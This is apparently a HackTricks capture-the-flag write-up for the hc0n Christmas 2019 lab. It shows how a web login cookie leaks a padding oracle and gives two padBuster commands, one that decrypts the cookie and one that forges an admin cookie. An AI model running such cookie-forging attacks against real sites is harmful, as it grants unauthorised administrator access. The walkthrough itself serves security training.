hacktricks/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md
2022-12-05 23:29:21 +01:00

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# hc0n Christmas CTF - 2019
<details>
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg)
## Enumeration
I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):
![](<../../.gitbook/assets/image (244).png>)
There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**)
In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated:
![](<../../.gitbook/assets/image (245).png>)
![](<../../.gitbook/assets/image (246).png>)
And if you change some **byte** of the **cookie** you get this error:
![](<../../.gitbook/assets/image (247).png>)
With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it:
```bash
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"
```
![](<../../.gitbook/assets/image (248).png>)
![](<../../.gitbook/assets/image (249) (1).png>)
**Set user admin:**
```bash
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"
```
![](<../../.gitbook/assets/image (250).png>)
<details>
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>